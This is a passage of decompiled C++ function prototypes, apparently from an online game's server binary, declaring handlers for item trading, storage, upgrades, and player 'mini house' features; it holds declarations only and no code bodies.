GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle); void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid); void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc); void __thiscall ItemLotInspector::ili_TotalLotFrom(ItemLotInspector *this, #331 *sp); char __thiscall ItemDataBox::idb_NoTrade(ItemDataBox *this, unsigned __int16 item); char __thiscall ItemDataBox::idb_NoStorageItem(ItemDataBox *this, unsigned __int16 item); char __thiscall ItemDataBox::idb_BelongedItem(ItemDataBox *this, unsigned __int16 item); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void __thiscall ItemRelocationManager::irm_Move(ItemRelocationManager *this, unsigned __int16 handle, #331 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Exchange(ItemRelocationManager *this, unsigned __int16 handle, #440 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Merge(ItemRelocationManager *this, unsigned __int16 handle, #440 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int mergelot); void __thiscall ItemRelocationManager::irm_Split_N_Merge(ItemRelocationManager *this, unsigned __int16 handle, #440 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int splitlot); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); // weak unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #440 *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Move2MiniHouseFurniture(ShineObjectClass::ShineMiniHouse *this, #331 *, ItemInventoryCell *, int, int); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw); char __thiscall ItemDataBox::idb_NoSellItem(ItemDataBox *this, unsigned __int16 item); void __thiscall ItemInventory::ii_SellAll(ItemInventory *this, #440 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall ItemInventory::ii_SellLot(ItemInventory *this, #440 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ(void *sp, int netcmd, int len, __int16 handle); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo(); int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this); bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel); char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID); bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue); char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet); void __thiscall GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex); char __cdecl Item_Upgrade(#440 *, ItemBag *, char, char, char, char, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot); void __thiscall UseEffect::UseItemSilverWing::uib_AfterCast(UseEffect::UseItemSilverWing *this, #440 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemNormal::uib_AfterCast(UseEffect::UseItemNormal *this, #440 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isAlreadyEnterPlayer(ShineObjectClass::ShineMiniHouse *this, #331 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanEnter(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerHandleNumber(ShineObjectClass::ShineMiniHouse *this); signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber(); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerHandleNumber(ShineObjectClass::ShineMiniHouse *this, int spc); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc); #331 *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayer(ShineObjectClass::ShineMiniHouse *this, int spc); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this); BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this); signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto); char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#331 *this, #440 *, char *, char *, char *, int, char, char *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetAllPlayerInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_LOGINCOMPLETE_ACK *playerinfo, unsigned int nVisitorCharNo); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwner(ShineObjectClass::ShineMiniHouse *this); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this); ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd); signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle(); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this); void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalEffectApply(ShineObjectClass::ShineMiniHouse *this, void *pFurnitureEffectTable, PROTO_NC_MINIHOUSE_PORTAL_EFFECT_CMD *pPortalEffectCmd); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#331 *this, #331 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition); char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(#331 *this, #331 *, char *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #331 *owner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendInnerPlayerFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #331 *sp_joinner); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CompulsionMoveTo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_COMPULSIONMOVETO_REQ *moveto); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Enter(ShineObjectClass::ShineMiniHouse *this, #331 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Out(ShineObjectClass::ShineMiniHouse *this, #331 *sp); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetArrangeMode(ShineObjectClass::ShineMiniHouse *this, char newmode); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendArrangeMode(ShineObjectClass::ShineMiniHouse *this, #331 *sp); void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CreateFurniture(ShineObjectClass::ShineMiniHouse *this, #440 *, PROTO_NC_MINIHOUSE_CREATE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeleteFurniture(ShineObjectClass::ShineMiniHouse *this, #440 *, PROTO_NC_MINIHOUSE_DELETE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ReArrangeFurniture(ShineObjectClass::ShineMiniHouse *this, #331 *, PROTO_NC_MINIHOUSE_REARRANGE_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::smh_SendFurnitureInfo(ShineObjectClass::ShineMiniHouse *this, #331 *sp); void __thiscall ShineObjectClass::ShineMiniHouse::smh_FurnitureActiveCheck(ShineObjectClass::ShineMiniHouse *this, ItemBag *itembag, int inventype); int __stdcall ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle); ItemInventoryCell *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetItemCellByFurnitureHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID); char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown(); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #331 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BuildingMiniHouse(ShineObjectClass::ShineMiniHouse *this, #440 *, char *, char *, char *, int, char, char *); void __thiscall NameString::NameString(NameString *this); void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this); void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMobHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetPlayerHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMiniHouseHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDropItemHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetAxialHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetBanditHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetNPCHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetEffectHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMagicFieldHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDoorHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetServantHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); void __thiscall PacketContainer::pcb_Clear(PacketContainer *this); void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this); void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this); void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this); void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this); void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this); void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this); void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect); void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this); void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this); int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar(); int __thiscall ShineObjectClass::ShineObject::__unnamed::__unnamed(_DWORD); // weak _DWORD __fastcall ShineObjectClass::ShineObject::__unnamed::___unnamed(SlantedCoordList::ObjectYCoordNode *this); // weak void __thiscall ShineObjectClass::ShineObject::_ShineObject(int this); ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI(); int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this); CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure(); AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard(); CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass(); SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList(); signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime(); DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass(); __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName(); int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int); char __cdecl ShineObjectClass::ShineObject::so_ObjectType(); __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed(); int __thiscall std::basic_streambuf>::underflow(std::basic_streambuf > *this); int __cdecl ShineObjectClass::ShineObject::so_LoginLocation(); int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit(); int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview(); void __cdecl ShineObjectClass::ShineObject::so_itempicked(); DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_parameter(); unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime(); CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr(); InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList(); int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName(); struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer(); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder(); ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr(); ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt(); ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex(); ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon(); ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen(); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable(); void __thiscall ShineObjectClass::ShineObject::so_LostSP(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); int __thiscall ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime(ItemAttrCls_ByteLot *this); char __thiscall CQuest::GetQuestPlayerGender(CQuest *this); signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange(); void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this); void __thiscall ShineObjectClass::ShineDropItem::_ShineDropItem(ShineObjectClass::ShineDropItem *this); // void __thiscall ShineObjectClass::ShineEffectObject::_ShineEffectObject(ShineObjectClass::ShineEffectObject *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this); unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMobileObject::AS::_AS(ShineObjectClass::ShineMobileObject::AS *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode); char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this); void __thiscall ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this); void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this); void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this); void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this); void __thiscall ChargedItemEffectList::ChargedItem::_ChargedItem(ChargedItemEffectList::ChargedItem *this); void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this); // void __thiscall ShineObjectClass::ShineMagicField::_ShineMagicField(ShineObjectClass::ShineMagicField *this); ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this); int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this); unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField 